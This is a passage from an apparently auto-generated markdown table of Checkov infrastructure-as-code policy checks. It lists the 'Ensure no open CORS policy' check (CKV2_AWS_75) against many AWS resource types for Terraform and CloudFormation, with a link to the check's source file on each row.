[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4277 | CKV2_AWS_75              | resource                         | aws_msk_single_scram_secret_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4278 | CKV2_AWS_75              | resource                         | aws_msk_single_scram_secret_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4279 | CKV2_AWS_75              | resource                         | aws_msk_vpc_connection                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4280 | CKV2_AWS_75              | resource                         | aws_msk_vpc_connection                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4281 | CKV2_AWS_75              | resource                         | aws_mskconnect_connector                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4282 | CKV2_AWS_75              | resource                         | aws_mskconnect_connector                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4283 | CKV2_AWS_75              | resource                         | aws_mskconnect_custom_plugin                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4284 | CKV2_AWS_75              | resource                         | aws_mskconnect_custom_plugin                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4285 | CKV2_AWS_75              | resource                         | aws_mskconnect_worker_configuration                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4286 | CKV2_AWS_75              | resource                         | aws_mskconnect_worker_configuration                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4287 | CKV2_AWS_75              | resource                         | aws_mwaa_environment                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4288 | CKV2_AWS_75              | resource                         | aws_mwaa_environment                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4289 | CKV2_AWS_75              | resource                         | aws_nat_gateway                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4290 | CKV2_AWS_75              | resource                         | aws_nat_gateway                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4291 | CKV2_AWS_75              | resource                         | aws_neptune_cluster                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4292 | CKV2_AWS_75              | resource                         | aws_neptune_cluster                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4293 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_endpoint                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4294 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_endpoint                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4295 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4296 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4297 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_parameter_group                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4298 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_parameter_group                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4299 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_snapshot                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4300 | CKV2_AWS_75              | resource                         | aws_neptune_cluster_snapshot                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4301 | CKV2_AWS_75              | resource                         | aws_neptune_event_subscription                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4302 | CKV2_AWS_75              | resource                         | aws_neptune_event_subscription                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4303 | CKV2_AWS_75              | resource                         | aws_neptune_global_cluster                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4304 | CKV2_AWS_75              | resource                         | aws_neptune_global_cluster                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4305 | CKV2_AWS_75              | resource                         | aws_neptune_parameter_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4306 | CKV2_AWS_75              | resource                         | aws_neptune_parameter_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4307 | CKV2_AWS_75              | resource                         | aws_neptune_subnet_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4308 | CKV2_AWS_75              | resource                         | aws_neptune_subnet_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4309 | CKV2_AWS_75              | resource                         | aws_network_acl                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4310 | CKV2_AWS_75              | resource                         | aws_network_acl                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4311 | CKV2_AWS_75              | resource                         | aws_network_acl_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4312 | CKV2_AWS_75              | resource                         | aws_network_acl_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4313 | CKV2_AWS_75              | resource                         | aws_network_acl_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4314 | CKV2_AWS_75              | resource                         | aws_network_acl_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4315 | CKV2_AWS_75              | resource                         | aws_network_interface                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4316 | CKV2_AWS_75              | resource                         | aws_network_interface                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4317 | CKV2_AWS_75              | resource                         | aws_network_interface_attachment                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4318 | CKV2_AWS_75              | resource                         | aws_network_interface_attachment                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4319 | CKV2_AWS_75              | resource                         | aws_network_interface_sg_attachment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4320 | CKV2_AWS_75              | resource                         | aws_network_interface_sg_attachment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4321 | CKV2_AWS_75              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4322 | CKV2_AWS_75              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4323 | CKV2_AWS_75              | resource                         | aws_networkfirewall_firewall_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4324 | CKV2_AWS_75              | resource                         | aws_networkfirewall_firewall_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4325 | CKV2_AWS_75              | resource                         | aws_networkfirewall_logging_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4326 | CKV2_AWS_75              | resource                         | aws_networkfirewall_logging_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4327 | CKV2_AWS_75              | resource                         | aws_networkfirewall_resource_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4328 | CKV2_AWS_75              | resource                         | aws_networkfirewall_resource_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4329 | CKV2_AWS_75              | resource                         | aws_networkfirewall_rule_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4330 | CKV2_AWS_75              | resource                         | aws_networkfirewall_rule_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4331 | CKV2_AWS_75              | resource                         | aws_networkfirewall_tls_inspection_configuration                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4332 | CKV2_AWS_75              | resource                         | aws_networkfirewall_tls_inspection_configuration                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4333 | CKV2_AWS_75              | resource                         | aws_networkmanager_attachment_accepter                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4334 | CKV2_AWS_75              | resource                         | aws_networkmanager_attachment_accepter                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4335 | CKV2_AWS_75              | resource                         | aws_networkmanager_connect_attachment                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4336 | CKV2_AWS_75              | resource                         | aws_networkmanager_connect_attachment                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4337 | CKV2_AWS_75              | resource                         | aws_networkmanager_connect_peer                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4338 | CKV2_AWS_75              | resource                         | aws_networkmanager_connect_peer                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4339 | CKV2_AWS_75              | resource                         | aws_networkmanager_connection                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4340 | CKV2_AWS_75              | resource                         | aws_networkmanager_connection                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4341 | CKV2_AWS_75              | resource                         | aws_networkmanager_core_network                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4342 | CKV2_AWS_75              | resource                         | aws_networkmanager_core_network                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4343 | CKV2_AWS_75              | resource                         | aws_networkmanager_core_network_policy_attachment                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4344 | CKV2_AWS_75              | resource                         | aws_networkmanager_core_network_policy_attachment                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4345 | CKV2_AWS_75              | resource                         | aws_networkmanager_customer_gateway_association                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4346 | CKV2_AWS_75              | resource                         | aws_networkmanager_customer_gateway_association                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4347 | CKV2_AWS_75              | resource                         | aws_networkmanager_device                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4348 | CKV2_AWS_75              | resource                         | aws_networkmanager_device                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4349 | CKV2_AWS_75              | resource                         | aws_networkmanager_dx_gateway_attachment                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4350 | CKV2_AWS_75              | resource                         | aws_networkmanager_dx_gateway_attachment                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4351 | CKV2_AWS_75              | resource                         | aws_networkmanager_global_network                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4352 | CKV2_AWS_75              | resource                         | aws_networkmanager_global_network                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4353 | CKV2_AWS_75              | resource                         | aws_networkmanager_link                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4354 | CKV2_AWS_75              | resource                         | aws_networkmanager_link                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4355 | CKV2_AWS_75              | resource                         | aws_networkmanager_link_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4356 | CKV2_AWS_75              | resource                         | aws_networkmanager_link_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4357 | CKV2_AWS_75              | resource                         | aws_networkmanager_site                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4358 | CKV2_AWS_75              | resource                         | aws_networkmanager_site                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4359 | CKV2_AWS_75              | resource                         | aws_networkmanager_site_to_site_vpn_attachment                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4360 | CKV2_AWS_75              | resource                         | aws_networkmanager_site_to_site_vpn_attachment                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4361 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_connect_peer_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4362 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_connect_peer_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4363 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_peering                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4364 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_peering                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4365 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_registration                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4366 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_registration                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4367 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_route_table_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4368 | CKV2_AWS_75              | resource                         | aws_networkmanager_transit_gateway_route_table_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4369 | CKV2_AWS_75         